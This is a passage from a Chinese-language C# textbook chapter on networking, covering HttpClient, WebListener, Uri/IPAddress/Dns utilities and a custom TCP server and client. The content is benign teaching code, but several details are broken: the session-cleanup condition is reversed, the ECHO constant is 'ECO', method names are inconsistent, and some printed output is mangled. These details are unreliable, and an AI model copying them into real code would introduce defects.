缩标题信息,客户机可以定义哪个资源更重要,服务器可以通过服务器推操作把资源 发送到客户端。HTTP / 2支持服务器推送,意味着一旦HTTP / 2支持无处不在, WebSockets就会过时。所有浏览器的新版本,以及运行在Windows和Windows Server 2016上的IIS,都支持HTTP / 2。 25.2.7 使用HttpClient和Windows Runtime 在撰写本书时,用于控制台应用程序和WPF的HttpClient类不支持HTTP / 2。然而, 用于通用Windows平台的HttpClient类有不同的实现,它基于Windows 10 API的功能。因 此,HttpClient支持HTTP / 2,甚至在默认情况下使用这个版本。 下一个代码示例显示了一个通用Windows应用程序,它向进入在一个文本框的链接发 出一个HTTP请求,并显示结果,给出HTTP版本信息。以下代码片段显示了XAML代码, 图25-2显示了设计视图(代码文件WinAppHttpClient / MainPage.xaml): <StackPanel Orientation="Horizontal"> <TextBox Header="Url" Text="{x:Bind Url, Mode=TwoWay}" MinWidth="200" Margin="5" /> <Button Content="Send" Click="{x:Bind OnSendRequest}" Margin="10,5,5,5" VerticalAlignment="Bottom" /> </StackPanel> <TextBox Header="Version" Text="{x:Bind Version, Mode=OneWay}" Grid.Row="1" Margin="5" IsReadOnly="True" /> <TextBox AcceptsReturn="True" IsReadOnly="True" Text="{x:Bind Result, Mode=OneWay}" Grid.Row="2" ScrollViewer.HorizontalScrollBarVisibility="Auto " ScrollViewer.VerticalScrollBarVisibility="Auto" /> 图25-2  注意: XAML代码和依赖属性参见第29章,编译后的绑定参见第31章。 属性Url、Version和Result实现为依赖属性,以自动更新UI。下面的代码片段显示了 Url属性(代码文件WinAppHttpClient /MainPage.xaml.cs): public string Url { get { return (string)GetValue(UrlProperty); } set { SetValue(UrlProperty, value); } } public static readonly DependencyProperty UrlProperty = DependencyProperty.Register("Url", typeof(string), typeof(MainPage), new PropertyMetadata(string.Empty)); HttpClient类用于OnSendRequest方法。单击UI中的Send按钮,就调用该方法。在前面 的示例中,SendAsync方法用于发出HTTP请求。为了看到请求确实是使用HTTP / 2版本发 出的,可以在调试器中检查request.Version属性。服务器给出的版本是来自response. Version,并写入在UI中绑定的Version属性。如今,大多数服务器都只支持HTTP 1.1版 本。如前所述,Windows Server 2016支持HTTP / 2: private async void OnSendRequest() { try { using (var client = new HttpClient()) { var request = new HttpRequestMessage(HttpMethod.Get, Url); HttpResponseMessage response = await client.SendAsync(request); Version = response.Version.ToString(); response.EnsureSuccessStatusCode(); Result = await response.Content.ReadAsStringAsync(); } } catch (Exception ex) { await new MessageDialog(ex.Message).ShowAsync(); } } 运行该应用程序,向https://http2.akamai.com/demo发出请求,就返回HTTP / 2。 25.3 使用WebListener类 使用IIS作为HTTP服务器通常是一个好方法,因为可以访问很多功能,如可伸缩性、 健康监测、用于管理的图形用户界面等。然而,也可以轻松创建自己的简单HTTP服务 器。自.NET 2.0以来,就可以使用HttpListener,但是现在在.NET Core 1.0中有一个新的 WebListener类。 HttpServer的示例代码使用了以下依赖项和名称空间: 依赖项 NETStandard.Library Microsoft.Net.Http.Server 名称空间 Microsoft.Net.Http.Server System System.Collections.Generic System.Linq System.Net System.Reflection System.Text System.Threading.Tasks static System.Console HTTP服务器的示例代码是一个控制台应用程序(包),允许传递一个URL前缀的列 表,来定义服务器侦听的地点。这类前缀的一个例子是http://localhost:8082 / samples,其 中如果路径以samples开头,服务器就只侦听本地主机上的端口8082。不管其后的路径是 什么,服务器都处理请求。为了不仅支持来自本地主机的请求,可以使用+字符,比如 http://+:8082/samples。这样,服务器也可以从所有的主机名中访问。如果不以提升模式启 动Visual Studio,运行侦听器的用户就需要许可。为此,可以以提升模式运行一个命令提 示符,使用如下netsh命令,来添加URL: >netsh http add urlacl url=http://+:8082/samples user=Everyone 示例代码检查参数是否传递了至少一个前缀,之后调用StartServer方法(代码文件 HttpServer /Program .cs): static void Main(string[] args) { if (args.Length < 1) { ShowUsage(); return; } StartServerAsync(args).Wait(); ReadLine(); } private static void ShowUsage() { WriteLine("Usage: HttpServer Prefix [Prefix2] [Prefix3] [Prefix4]"); } 该程序的核心是StartServer方法。这里实例化WebListener类,添加在命令参数列表中 定义的前缀。调用WebListener类的Start方法,注册系统上的端口。接下来,调用 GetContextAsync方法后,侦听器等待客户端连接和发送数据。一旦客户端发送了HTTP请 求,请求就可以读取GetContextAsync返回的HttpContext对象。对于来自客户端的请求和 发回的回应,都使用HttpContext对象。Request属性返回一个Request对象。Request对象包 含HTTP标题信息。在HTTP POST请求中,Request还包含请求体。Response属性返回 Response对象,它允许返回标题信息(使用Headers属性)、状态码(StatusCode属性)和 响应体(Body属性): public static async Task StartServerAsync(params string[] prefixes) { try { WriteLine($"server starting at"); var listener = new WebListener(); foreach (var prefix in prefixes) { listener.UrlPrefixes.Add(prefix); WriteLine($"\t{prefix}"); } listener.Start(); do { using (RequestContext context = await listener.GetContextAsync()) { context.Response.Headers.Add("content-type", new string[] { "text/html" }); context.Response.StatusCode = (int)HttpStatusCode.OK; byte[] buffer = GetHtmlContent(context.Request); await context.Response.Body.WriteAsync(buffer, 0, buffer.Length); } } while (true); } catch (Exception ex) { WriteLine(ex.Message); } } 示例代码返回一个HTML文件,使用GetHtmlContent方法检索它。这个方法利用 htmlFormat格式字符串,该字符串在标题和正文中有两个占位符。GetHtmlContent方法使 用string.Format方法填充占位符。为了填充HTML体,使用两个辅助方法GetHeaderInfo和 GetRequestInfo,检索请求的标题信息和Request对象的所有属性值: private static string htmlFormat = "<! DOCTYPE html><html><head><title>{0}</title></head>" + "<body>{1}</body></html>"; private static byte[] GetHtmlContent(Request request) { string title = "Sample WebListener"; var sb = new StringBuilder("<h1>Hello from the server</h1>"); sb.Append("<h2>Header Info</h2>"); sb.Append(string.Join(" ", GetHeaderInfo(request.Headers))); sb.Append("<h2>Request Object Information</h2>"); sb.Append(string.Join(" ", GetRequestInfo(request))); string html = string.Format(htmlFormat, title, sb.ToString()); return Encoding.UTF8.GetBytes(html); } GetHeaderInfo方法从HeaderCollection中检索键和值,返回一个div元素,其中包含了 每个键和值: private static IEnumerable<string> GetHeaderInfo(HeaderCollection headers) => headers.Keys.Select(key => $"<div>{key}: {string.Join(", ", headers.GetValues(key))}</div>"); GetRequestInfo方法利用反射获得Request类型的所有属性,返回属性名称及其值: private static IEnumerable<string> GetRequestInfo(Request request) => request.GetType().GetProperties().Select( p => $"<div>{p.Name}: {p.GetValue(request)}</div>");  注意: GetHeaderInfo和GetRequestInfo方法利用表达式体的成员函数、LINQ 和反射。表达式体的成员函数参见第3章。第13章讨论了LINQ。第16章把反射作为一个 重要的话题。 运行服务器,使用Microsoft Edge等浏览器,通过URL访问服务器,如 http://[hostname]:8082/samples/Hello? sample=text,结果输出如图25-3所示。 图25-3 25.4 使用实用工具类 在使用抽象HTTP协议的类,如HttpClient和WebListener,处理HTTP请求和响应后, 下面看看一些实用工具类,它们在处理URI和IP地址时,更容易进行Web编程。 在Internet上,服务器和客户端都由IP地址或主机名(也称作DNS名称)标识。通常, 主机名是在Web浏览器的窗口中输入的友好名称,如www.wrox.com或www.microsoft.com 等。另一方面,IP地址是计算机用于互相识别的标识符,它实际上是用于确保Web请求和 响应到达相应计算机的地址。一台计算机甚至可以有多个IP地址。 目前,IP地址一般是一个32或128位的值,这取决于使用的是IPv4还是IPv6。例如 192.168.1.100就是一个32位的IP地址。目前有许多计算机和其他设备在竞争Internet上的一 个地点,所以人们开发了IPv6。IPv6至多可以提供3×1028 个不同的地址。.NET Framework 允许应用程序同时使用IPv4和IPv6。 为了使这些主机名发挥作用,首先必须发送一个网络请求,把主机名翻译成IP地址, 翻译工作由一个或几个DNS服务器完成。DNS服务器中保存的一个表把主机名映射为它知 道的所有计算机的IP地址以及其他DNS服务器的IP地址,这些DNS服务器用于在该表中查 找它不知道的主机名。本地计算机至少要知道一个DNS服务器。网络管理员在设置计算机 时配置该信息。 在发送请求之前,计算机首先应要求DNS服务器指出与输入的主机名相对应的IP地 址。找到正确的IP地址后,计算机就可以定位请求,并通过网络发送它。所有这些工作一 般都在用户浏览Web时在后台进行。 .NET Framework提供了许多能够帮助寻找IP地址和主机信息的类。 示例代码使用了以下依赖项和名称空间: 依赖项: NETStandard.Library 名称空间: System System.Net static System.Console 25.4.1 URI Uri和UriBuilder是System名称空间中的两个类,它们都用于表示URI。Uri类允许分 析、组合和比较URI。而UriBuilder类允许把给定的字符串当作URI的组成部分,从而构建 一个URI。 下面的代码片段演示了Uri类的特性。构造函数可以传递相对和绝对URL。这个类定 义了几个只读属性,来访问URL的各个部分,例如模式、主机名、端口号、查询字符串和 URL的各个部分(代码文件Utilities/ Program. cs): public static void UriSample(string url) { var page = new Uri(url); WriteLine($"scheme: {page.Scheme }"); #if NET46 WriteLine($"host: {page.Host }, type: {page.HostNameType }"); #else WriteLine($"host: {page.Host }, type: {page.HostNameType }, " + $"idn host: {page.IdnHost }"); #endif WriteLine($"port: {page.Port }"); WriteLine($"path: {page.AbsolutePath }"); WriteLine($"query: {page.Query }"); foreach (var segment in page.Segments ) { WriteLine($"segment: {segment}"); } // etc. } 运行应用程序,传递下面的URL和包含一个路径和查询字符串的字符串: http://www.amazon.com/Professional-C-6-0-Christian-Nagel/dp/111909660X/ref=sr _1_4? ie= UTF8&amqid=1438459506&sr=8-4&keywords=professional+c%23+6 将得到下面的输出: scheme: http host: www.amazon.com, type: Dns port: 80 path: /Professional-C-6-0-Christian-Nagel/dp/111909660X/ref=sr_1_4 query: ? ie=UTF8&qid=1438459506&sr=8-4&keywords=professional+c%23+6 segment: / segment: Professional-C-6-0-Christian-Nagel/ segment: dp/ segment: 111909660X/ segment: ref=sr_1_4 与Uri类不同,UriBuilder定义了读写属性,如下面的代码片段所示。可以创建一个 UriBuilder实例,指定这些属性,并得到一个从Uri属性返回的URL: public static void UriSample(string url) { // etc. var builder = new UriBuilder(); builder.Host = "www.cninnovation.com"; builder.Port = 80; builder.Path = "training/MVC"; Uri uri = builder.Uri; WriteLine(uri); } 除了使用UriBuilder的属性之外,这个类还提供了构造函数的几个重载版本,其中也 可以传递URL的各个部分。 25.4.2 IPAddress IPAddress类代表IP地址。使用GetAddressBytes属性可以把地址本身作为字节数组, 并使用ToString()方法转换为用小数点隔开的十进制格式。此外,IPAddress类也实现静 态的Parse()和TryParse方法,这两个方法的作用与ToString()方法正好相反,把小数 点隔开的十进制字符串转换为IPAddress。代码示例也访问AddressFamily属性,并将一个 IPv4地址转换成IPv6,反之亦然(代码文件Utilities/ Program.cs): public static void IPAddressSample(string ipAddressString) { IPAddress address; if (! IPAddress.TryParse(ipAddressString, out address) ) { WriteLine($"cannot parse {ipAddressString}"); return; } byte[] bytes = address.GetAddressBytes() ; for (int i = 0; i < bytes.Length; i++) { WriteLine($"byte {i}: {bytes[i]:X}"); } WriteLine($"family: {address.AddressFamily }, " + $"map to ipv6: {address.MapToIPv6() }, map to ipv4: {address.MapToIPv4() }"); // etc. } 给方法传递地址65.52.128.33,输出结果如下: byte 0: 41 byte 1: 34 byte 2: 80 byte 3: 21 family: InterNetwork, map to ipv6: ::ffff:65.52.128.33, map to ipv4: 65.52.12 8.3 3 IPAddress类也定义了静态属性,来创建特殊的地址,如loopback、broadcast和 anycast: public static void IPAddressSample(string ipAddressString) { // etc. WriteLine($"IPv4 loopback address: {IPAddress.Loopback }"); WriteLine($"IPv6 loopback address: {IPAddress.IPv6Loopback }"); WriteLine($"IPv4 broadcast address: {IPAddress.Broadcast }"); WriteLine($"IPv4 any address: {IPAddress.Any }"); WriteLine($"IPv6 any address: {IPAddress.IPv6Any }"); } 通过loopback地址,可以绕过网络硬件。这个IP地址代表主机名localhost。 每个broadcast地址都在本地网络中寻址每个节点。这类地址不能用于IPv6,因为这个 概念不用于互联网协议的更新版本。最初定义IPv4后,给IPv6添加了多播。通过多播,寻 址一组节点,而不是所有节点。在IPv6中,多播完全取代广播。本章后面使用UDP时,会 在代码示例中演示广播和多播。 通过anycast,也使用一对多路由,但数据流只传送到网络上最近的节点。这对负载平 衡很有用。对于IPv4, Border Gateway Protocol (BGP)路由协议用来发现网络中的最短路 径;对于IPv6,这个功能是内置的。 运行应用程序时,可以看到下面的IPv4和IPv6地址: IPv4 loopback address: 127.0.0.1 IPv6 loopback address: ::1 IPv4 broadcast address: 255.255.255.255 IPv4 any address: 0.0.0.0 IPv6 any address: :: 25.4.3 IPHostEntry IPHostEntry类封装与某台特定的主机相关的信息。通过这个类的HostName属性(这 个属性返回一个字符串),可以使用主机名;通过AddressList属性返回一个IPAddress对象 数组。下一个示例使用IPHostEntry类。 25.4.4 Dns Dns类能够与默认的DNS服务器进行通信,以检索IP地址。 DnsLookup示例代码使用了以下的依赖项和名称空间: 依赖项: NETStandard.Library System.Net.NameResolution 名称空间: System System.Net System.Threading.Tasks static System.Console 样例应用程序实现为一个控制台应用程序(包),要求用户输入主机名(也可以添加 一个IP地址),通过Dns.GetHostEntryAsync得到一个IPHostEntry。在IPHostEntry中,使用 AddressList属性访问地址列表。主机的所有地址以及AddressFamily都写入控制台(代码文 件DnsLookup / Program.cs): static void Main() { do { Write("Hostname:\t"); string hostname = ReadLine(); if (hostname.CompareTo("exit") == 0) { WriteLine("bye! "); return; } OnLookupAsync(hostname).Wait(); WriteLine(); } while (true); } public static async Task OnLookupAsync(string hostname) { try { IPHostEntry ipHost = await Dns.GetHostEntryAsync(hostname); WriteLine($"Hostname: {ipHost.HostName}"); foreach (IPAddress address in ipHost.AddressList) { WriteLine($"Address Family: {address.AddressFamily}"); WriteLine($"Address: {address}"); } } catch (Exception ex) { WriteLine(ex.Message); } } 运行应用程序,并输入几个主机名,得到如下输出。对于主机名www.orf.at,可以看 到这个主机名定义了多个IP地址。 Hostname: www.cninnovation.com Hostname: www.cninnovation.com Address Family: InterNetwork Address: 65.52.128.33 Hostname: www.orf.at Hostname: www.orf.at Address Family: InterNetwork Address: 194.232.104.150 Address Family: InterNetwork Address: 194.232.104.140 Address Family: InterNetwork Address: 194.232.104.142 Address Family: InterNetwork Address: 194.232.104.149 Address Family: InterNetwork Address: 194.232.104.141 Address Family: InterNetwork Address: 194.232.104.139 Hostname: exit bye!  注意: Dns类是比较有限的,例如不能指定使用非默认的DNS服务器。此 外,IPHostEntry的Aliases属性不在GetHostEntryAsync方法中填充。它只在Dns类的过时 方法中填充,而且这些方法也不完全地填充这个属性。要充分利用DNS查找功能,最 好使用第三方库。 下面介绍一些低级协议,如TCP和UDP等。 25.5 使用TCP HTTP协议基于传输控制协议(Transmission Control Protocol, TCP)。要使用TCP,客 户端首先需要打开一个到服务器的连接,才能发送命令。而使用HTTP,发送文本命令。 HttpClient和WebListener类隐藏了HTTP协议的细节。使用TCP类发送HTTP请求时,需要 更多地了解HTTP协议。TCP类没有提供用于HTTP协议的功能,必须自己提供。另一方 面,TCP类提供了更多的灵活性,因为可以使用这些类与基于TCP的其他协议。 传输控制协议(TCP)类为连接和发送两个端点之间的数据提供了简单的方法。端点 是IP地址和端口号的组合。已有的协议很好地定义了端口号,例如,HTTP使用端口80, 而SMTP使用端口25。Internet地址编码分配机构(Internet Assigned Numbers Authority, IANA, http://www.iana.org/)把端口号赋予这些已知的服务。除非实现某个已知的服务, 否则应选择大于1024的端口号。 TCP流量构成了目前Internet上的主要流量。TCP通常是首选的协议,因为它提供了有 保证的传输、错误校正和缓冲。TcpClient类封装了TCP连接,提供了许多属性来控制连 接,包括缓冲、缓冲区的大小和超时。通过GetStream()方法请求NetworkStream对象可 以实现读写功能。 TcpListener类用Start()方法侦听引入的TCP连接。当连接请求到达时,可以使用 AcceptSocket()方法返回一个套接字,与远程计算机通信,或使用AcceptTcpClient() 方法通过高层的TcpClient对象进行通信。阐明TcpListener类和TcpClient类如何协同工作的 最简单方式是给出一个示例。 25.5.1 使用TCP创建HTTP客户程序 首先,创建一个控制台应用程序(包),向Web服务器发送一个HTTP请求。以前用 HttpClient类实现了这个功能,但使用TcpClient类需要深入HTTP协议。 HttpClientUsingTcp示例代码使用了以下的依赖项和名称空间: 依赖项: NETStandard.Library 名称空间: System System.IO System.Net.Sockets System.Text System.Threading.Tasks static System.Console 应用程序接受一个命令行参数,传递服务器的名称。这样,就调用RequestHtmlAsync 方法,向服务器发出HTTP请求。它用Task的Result属性返回一个字符串(代码文件 HttpClientUsingTcp /Program.cs): static void Main(string[] args) { if (args.Length ! = 1) { ShowUsage(); } Task<string> t1 = RequestHtmlAsync(args[0]); WriteLine(t1.Result); ReadLine(); } private static void ShowUsage() { WriteLine("Usage: HttpClientUsingTcp hostname"); } 现在看看RequestHtmlAsync方法的最重要部分。首先,实例化一个TcpClient对象。其 次,使用ConnectAsync方法,在HTTP默认端口80上建立到主机的TCP连接。再次,通过 GetStream方法检索一个流,使用这个连接进行读写: private const int ReadBufferSize = 1024; public static async Task<string> RequestHtmlAsync(string hostname) { try { using (var client = new TcpClient()) { await client.ConnectAsync(hostname, 80); NetworkStream stream = client.GetStream(); //etc. } } } 流现在可以用来把请求写到服务器,读取响应。HTTP是一种基于文本的协议,所以 很容易在字符串中定义请求。为了向服务器发出一个简单的请求,标题定义了HTTP方法 GET,其后是URL/的路径和HTTP版本HTTP / 1.1。第二行定义了Host标题、主机名和端 口号,第三行定义了Connection标题。通常,通过Connection标题,客户端请求keep- alive,要求服务器保持连接打开,因为客户端希望发出更多的请求。这里只向服务器发出 一个请求,所以服务器应该关闭连接,从而close设置为Connection标题。为了结束标题信 息,需要使用\r\n给请求添加一个空行。标题信息调用NetworkStream的方法WriteAsync, 用UTF-8编码发送。\r\n为了立即向服务器发送缓存,请调用FlushAsync方法。否则数据就 可能保存在本地缓存: //etc. string header = "GET / HTTP/1.1\r\n" + $"Host: {hostname}:80\r\n" + "Connection: close\r\n" + "\r\n"; byte[] buffer = Encoding.UTF8.GetBytes(header); await stream.WriteAsync(buffer, 0, buffer.Length); await stream.FlushAsync(); 现在可以继续这个过程,从服务器中读取回应。不知道回应有多大,所以创建一个动 态生长的MemoryStream。使用ReadAsync方法把服务器的回应暂时写入一个字节数组,这 个字节数组的内容添加到MemoryStream中。从服务器中读取所有数据后,StreamReader接 管控制,把数据从流读入一个字符串,并返回给调用者: var ms = new MemoryStream(); buffer = new byte[ReadBufferSize]; int read = 0; do { read = await stream.ReadAsync(buffer, 0, ReadBufferSize); ms.Write(buffer, 0, read); Array.Clear(buffer, 0, buffer.Length); } while (read > 0); ms.Seek(0, SeekOrigin.Begin); var reader = new StreamReader(ms); return reader.ReadToEnd(); } } catch (SocketException ex) { WriteLine(ex.Message); return null; } } 把一个网站传递给程序,会看到一个成功的请求,其HTML内容显示在控制台上。 现在该创建一个TCP侦听器和自定义协议了。 25.5.2 创建TCP侦听器 创建基于TCP的自定义协议需要对架构进行一些思考。可以定义自己的二进制协议, 每个位都保存在数据传输中,但读取比较复杂,或者可以使用基于文本的格式,例如 HTTP或FTP。对于每个请求,会话应保持开放还是关闭?服务器需要保持客户端的状 态,还是保存随每个请求一起发送的所有数据? 自定义服务器支持一些简单的功能,如回应和反向发送消息。自定义服务器的另一个 特点是,客户端可以发送状态信息,使用另一个调用再次检索它。状态会临时存储在会话 状态中。尽管这是一个简单的场景,但我们知道需要设置它。 TcpServer示例代码实现为一个控制台应用程序(包),利用以下依赖项和名称空 间: 依赖项: NETStandard.Library 名称空间: System System.Collections System.Collections.Concurrent System.Linq System.Net.Sockets System.Text System.Threading System.Threading.Tasks static System.Console static TcpServer.CustomProtocol 自定义TCP侦听器支持几个请求,如表25-1所示。 表25-1 请求 说明 HELO::v1.0 启动连接后,这个命令需要发送。其他命令将不被接受 ECHO::message ECHO命令向调用者返回消息 REV::message REV命令保留消息并返回给调用者 BYE BYE命令关闭连接 SET::key=value GET::key SET命令设置服务器端状态,可以用GET命令检索 请求的第一行是一个会话标识符,并带有前缀ID。它需要与每个请求一起发送,除 了HELO请求之外。它作为状态标识符使用。 协议的所有常量都在静态类CustomProtocol中定义(代码文件TcpServer /CustomProtocol.cs): public static class CustomProtocol { public const string SESSIONID = "ID"; public const string COMMANDHELO = "HELO"; public const string COMMANDECHO = "ECO"; public const string COMMANDREV = "REV"; public const string COMMANDBYE = "BYE"; public const string COMMANDSET = "SET"; public const string COMMANDGET = "GET"; public const string STATUSOK = "OK"; public const string STATUSCLOSED = "CLOSED"; public const string STATUSINVALID = "INV"; public const string STATUSUNKNOWN = "UNK"; public const string STATUSNOTFOUND = "NOTFOUND"; public const string STATUSTIMEOUT = "TIMOUT"; public const string SEPARATOR = "::"; public static readonly TimeSpan SessionTimeout = TimeSpan.FromMinutes(2); } Run方法(从Main方法中调用)启动一个计时器,每分钟清理一次所有的会话状态。 Run方法的主要功能是通过调用RunServerAsync方法来启动服务器(代码文件TcpServer / Program.cs): static void Main() { var p = new Program(); p.Run(); } public void Run() { using (var timer = new Timer(TimerSessionCleanup, null, TimeSpan.FromMinutes(1), TimeSpan.FromMinutes(1))) { RunServerAsync().Wait(); } } 对于TcpListener类,服务器最重要的部分在RunServerAsync方法中。TcpListener使用 IP地址和端口号的构造函数实例化,在IP地址和端口号上可以访问侦听器。调用Start方 法,侦听器开始侦听客户端连接。AcceptTcpClientAsync等待客户机连接。一旦客户端连 接,就返回TcpClient实例,允许与客户沟通。这个实例传递给RunClientRequest方法,以 处理请求。 private async Task RunServerAsync() { try { var listener = new TcpListener(IPAddress.Any, portNumber); WriteLine($"listener started at port {portNumber}"); listener.Start(); while (true) { WriteLine("waiting for client..."); TcpClient client = await listener.AcceptTcpClientAsync(); Task t = RunClientRequest(client); } } catch (Exception ex) { WriteLine($"Exception of type {ex.GetType().Name}, Message: {ex.Message}" ); } } 为了在客户端上读写,TcpClient的GetStream方法返回NetworkStream。首先需要读取 来自客户机的请求。为此,可以使用ReadAsync方法。ReadAsync方法填充一个字节数 组。这个字节数组使用Encoding类转换为字符串。收到的信息写入控制台,传递到 ParseRequest辅助方法。根据ParseRequest方法的结果,创建客户端的回应,使用 WriteAsync方法返回给客户端。 private Task RunClientRequestAsync(TcpClient client) { return Task.Run(async () => { try { using (client) { WriteLine("client connected"); using (NetworkStream stream = client.GetStream()) { bool completed = false; do { byte[] readBuffer = new byte[1024]; int read = await stream.ReadAsync( readBuffer, 0, readBuffer.Length); string request = Encoding.ASCII.GetString(readBuffer, 0, read); WriteLine($"received {request}"); string sessionId; string result; byte[] writeBuffer = null; string response = string.Empty; ParseResponse resp = ParseRequest( request, out sessionId, out result); switch (resp) { case ParseResponse.OK: string content = $"{STATUSOK}::{SESSIONID}::{sessionId}"; if (! string.IsNullOrEmpty(result)) { content += $"{SEPARATOR}{result}"; } response = $"{STATUSOK}{SEPARATOR}{SESSIONID}{SEPARATOR}" + $"{sessionId}{SEPARATOR}{content}"; break; case ParseResponse.CLOSE: response = $"{STATUSCLOSED}"; completed = true; break; case ParseResponse.TIMEOUT: response = $"{STATUSTIMEOUT}"; break; case ParseResponse.ERROR: response = $"{STATUSINVALID}"; break; default: break; } writeBuffer = Encoding.ASCII.GetBytes(response); await stream.WriteAsync(writeBuffer, 0, writeBuffer.Length); await stream.FlushAsync(); WriteLine($"returned {Encoding.ASCII.GetString( writeBuffer, 0, writeBuffer.Length)}"); } while (! completed); } } } catch (Exception ex) { WriteLine($"Exception in client request handling " + "of type {ex.GetType().Name}, Message: {ex.Message}"); } WriteLine("client disconnected"); }); } ParseRequest方法解析请求,并过滤掉会话标识符。server (HELO)的第一个调用是 不从客户端传递会话标识符的唯一调用,它是使用SessionManager创建的。在第二个和后 来的请求中,requestColl[0]必须包含ID, requestColl[1]必须包含会话标识符。使用这个标 识符,如果会话仍然是有效的,TouchSession方法就更新会话标识符的当前时间。如果无 效,就返回超时。对于服务的功能,调用ProcessRequest方法: private ParseResponse ParseRequest(string request, out string sessionId, out string response) { sessionId = string.Empty; response = string.Empty; string[] requestColl = request.Split( new string[] { SEPARATOR }, StringSplitOptions.RemoveEmptyEntries); if (requestColl[0] == COMMANDHELO) // first request { sessionId = _sessionManager.CreateSession(); } else if (requestColl[0] == SESSIONID) // any other valid request { sessionId = requestColl[1]; if (! _sessionManager.TouchSession(sessionId)) { return ParseResponse.TIMEOUT; } if (requestColl[2] == COMMANDBYE) { return ParseResponse.CLOSE; } if (requestColl.Length >= 4) { response = ProcessRequest(requestColl); } } else { return ParseResponse.ERROR; } return ParseResponse.OK; } ProcessRequest方法包含一个switch语句,来处理不同的请求。这个方法使用 CommandActions类来回应或反向传递收到的消息。为了存储和检索会话状态,使用 SessionManager: private string ProcessRequest(string[] requestColl) { if (requestColl.Length < 4) throw new ArgumentException("invalid length requestColl"); string sessionId = requestColl[1]; string response = string.Empty; string requestCommand = requestColl[2]; string requestAction = requestColl[3]; switch (requestCommand) { case COMMANDECHO: response = _commandActions.Echo(requestAction); break; case COMMANDREV: response = _commandActions.Reverse(requestAction); break; case COMMANDSET: response = _sessionManager.ParseSessionData(sessionId, requestAction); break; case COMMANDGET: response = $"{_sessionManager.GetSessionData(sessionId, requestAction)} "; break; default: response = STATUSUNKNOWN; break; } return response; } CommandActions类定义了简单的方法Echo和Reverse,返回操作字符串,或返回反向 发送的字符串(代码文件TcpServer / CommandActions.cs): public class CommandActions { public string Reverse(string action) => string.Join("", action.Reverse()); public string Echo(string action) => action; } 用Echo和Reverse方法检查服务器的主要功能后,就要进行会话管理了。服务器上需 要一个标识符和上次访问会话的时间,以删除最古老的会话(代码文件TcpServer / SessionManager.cs): public struct Session { public string SessionId { get; set; } public DateTime LastAccessTime { get; set; } } SessionManager包含线程安全的字典,其中存储了所有的会话和会话数据。使用多个 客户端时,字典可以在多个线程中同时访问。所以使用名称空间 System.Collections.Concurrent中线程安全的字典。CreateSession方法创建一个新的会话, 并将其添加到_sessions字典中: public class SessionManager { private readonly ConcurrentDictionary<string, Session> _sessions = new ConcurrentDictionary<string, Session>(); private readonly ConcurrentDictionary<string, Dictionary<string, string>> _sessionData = new ConcurrentDictionary<string, Dictionary<string, string>>(); public string CreateSession() { string sessionId = Guid.NewGuid().ToString(); if (_sessions.TryAdd(sessionId, new Session { SessionId = sessionId, LastAccessTime = DateTime.UtcNow })) { return sessionId; } else { return string.Empty; } } //... } 从计时器线程中,CleanupAllSessions方法每分钟调用一次,删除最近没有使用的所 有会话。该方法又调用CleanupSession,删除单个会话。客户端发送BYE信息时也调用 CleanupSession: public void CleanupAllSessions() { foreach (var session in _sessions) { if (session.Value.LastAccessTime + SessionTimeout >= DateTime.UtcNow) { CleanupSession(session.Key); } } } public void CleanupSession(string sessionId) { Dictionary<string, string> removed; if (_sessionData.TryRemove(sessionId, out removed)) { WriteLine($"removed {sessionId} from session data"); } Session header; if (_sessions.TryRemove(sessionId, out header)) { WriteLine($"removed {sessionId} from sessions"); } } TouchSession方法更新会话的LastAccessTime,如果会话不再有效,就返回false: public bool TouchSession(string sessionId) { Session oldHeader; if (! _sessions.TryGetValue(sessionId, out oldHeader)) { return false; } Session updatedHeader = oldHeader; updatedHeader.LastAccessTime = DateTime.UtcNow; _sessions.TryUpdate(sessionId, updatedHeader, oldHeader); return true; } 为了设置会话数据,需要解析请求。会话数据接收的动作包含由等号分隔的键和值, 如x= 42。ParseSessionData方法解析它,进而调用SetSessionData方法: public string ParseSessionData(string sessionId, string requestAction) { string[] sessionData = requestAction.Split('='); if (sessionData.Length ! = 2) return STATUSUNKNOWN; string key = sessionData[0]; string value = sessionData[1]; SetSessionData(sessionId, key, value); return $"{key}={value}"; } SetSessionData添加或更新字典中的会话状态。GetSessionData检索值,或返回 NOTFOUND: public void SetSessionData(string sessionId, string key, string value) { Dictionary<string, string> data; if (! _sessionData.TryGetValue(sessionId, out data)) { data = new Dictionary<string, string>(); data.Add(key, value); _sessionData.TryAdd(sessionId, data); } else { string val; if (data.TryGetValue(key, out val)) { data.Remove(key); } data.Add(key, value); } } public string GetSessionData(string sessionId, string key) { Dictionary<string, string> data; if (_sessionData.TryGetValue(sessionId, out data)) { string value; if (data.TryGetValue(key, out value)) { return value; } } return STATUSNOTFOUND; } 编译侦听器后,可以启动程序。现在,需要一个客户端,以连接到服务器。 25.5.3 创建TCP客户端 客户端示例是一个WPF桌面应用程序WPFAppTCPClient。这个应用程序允许连接到 TCP服务器,发送自定义协议支持的所有不同命令。  注意: 撰写本书时,TcpClient类不可用于Windows应用程序。可以使用套接 字类(参见本章后面的内容),访问这个TCP服务器。 应用程序的用户界面如图25-4所示。左上部分允许连接到服务器。右上部分的组合框 列出了所有命令,Send按钮向服务器发送命令。在中间部分,显示会话标识符和所发送请 求的状态。下部的控件显示服务器接收到的信息,允许清理这些信息。 图25-4 类CustomProtocolCommand和CustomProtocolCommands用于用户界面中的数据绑定。 对于CustomProtocolCommand, Name属性显示命令的名称,Action属性是用户输入的、与 命令一起发送的数据。类CustomProtocolCommands包含一个绑定到组合框的命令列表 (代码文件WPFAppTcpClient/ CustomProtocolCommands.cs): public class CustomProtocolCommand { public CustomProtocolCommand(string name) : this(name, null) { } public CustomProtocolCommand(string name, string action) { Name = name; Action = action; } public string Name { get; } public string Action { get; set; } public override string ToString() => Name; } public class CustomProtocolCommands : IEnumerable<CustomProtocolCommand> { private readonly List<CustomProtocolCommand> _commands = new List<CustomProtocolCommand>(); public CustomProtocolCommands() { string[] commands = { "HELO", "BYE", "SET", "GET", "ECO", "REV" }; foreach (var command in commands) { _commands.Add(new CustomProtocolCommand(command)); } _commands.Single(c => c.Name == "HELO").Action = "v1.0"; } public IEnumerator<CustomProtocolCommand> GetEnumerator() => _commands.GetEnumerator(); IEnumerator IEnumerable.GetEnumerator() => _commands.GetEnumerator(); } MainWindow类包含绑定到XAML代码的属性和基于用户交互调用的方法。这个类创 建TcpClient类的一个实例和一些绑定到用户界面的属性。 public partial class MainWindow : Window, INotifyPropertyChanged, IDisposable { private TcpClient _client = new TcpClient(); private readonly CustomProtocolCommands _commands = new CustomProtocolCommands(); public 